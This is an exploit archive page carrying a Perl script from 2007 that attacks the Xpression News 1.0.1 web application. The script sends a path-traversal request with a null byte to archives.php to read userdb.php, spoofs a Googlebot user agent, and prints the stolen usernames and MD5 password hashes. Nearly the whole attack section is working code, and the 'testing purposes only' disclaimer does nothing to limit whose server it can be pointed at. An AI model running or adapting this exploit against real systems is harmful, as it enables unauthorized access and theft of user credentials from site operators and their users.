[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Xpression News 1.0.1 (archives.php) Remote File Disclosure Exploit
# Published : 2007-02-18
# Author : r0ut3r
# Previous Title : S-Gastebuch <= 1.5.3 (gb_pfad) Remote File Include Exploit
# Next Title : XLAtunes 0.1 (album) Remote SQL Injection Vulnerability
#################################################################################################
# r0ut3r Presents... #
# #
# Another r0ut3r discovery! #
# writ3r [at] gmail.com #
# #
# XNews Remote File Disclosure Exploit #
#################################################################################################
# Software: Xnews 1.0.1 #
# #
# Vendor: http://xpression.hogsmeade-village.com/ #
# #
# Released: 2007/01/28 #
# #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com) #
# #
# Note: The information provided in this document is for Xnews administrator #
# testing purposes only! #
# #
# Whats up Timq, tgo, str0ke, dr max virus #
#################################################################################################
use IO::Socket;
$port = "80"; # connection port
$target = shift; # xpression.hogsmeade-village.com
$folder = shift; # /demo/
sub Header()
{
print q
{Xpression News File Disclosure Exploit - writ3r [at] gmail.com
--------------------------------------------------------------
};
}
sub Usage()
{
print q
{Usage: xnewsxpl.pl [target] [directory]
Example: xnewsxpl.pl xpression.hogsmeade-village.com /demo/
};
exit();
}
Header();
if (!$target || !$folder) {
Usage(); }
$res = false;
print "[+] Connecting...rn";
$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...rn";
print $xpack "GET ".$folder."archives.php?xnews-template=../userdb.php%00 HTTP/1.1n";
print $xpack "Host: $targetn";
print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)n";
print $xpack "Accept: text/htmln";
print $xpack "Connection: keep-alivennrn";
while (<$xpack>)
{
if (/(.*?)|(.*?)|(.*?)|/) {
print "Username: $1n";
print "MD5 Hash: $3n";
$res = true;
exit; }
}
if ($res eq false) {
print "[-] Exploit failed - Not vulnerablen"; }
print "[!] Connection to host lost...n";
# www.Syue.com [2007-02-18]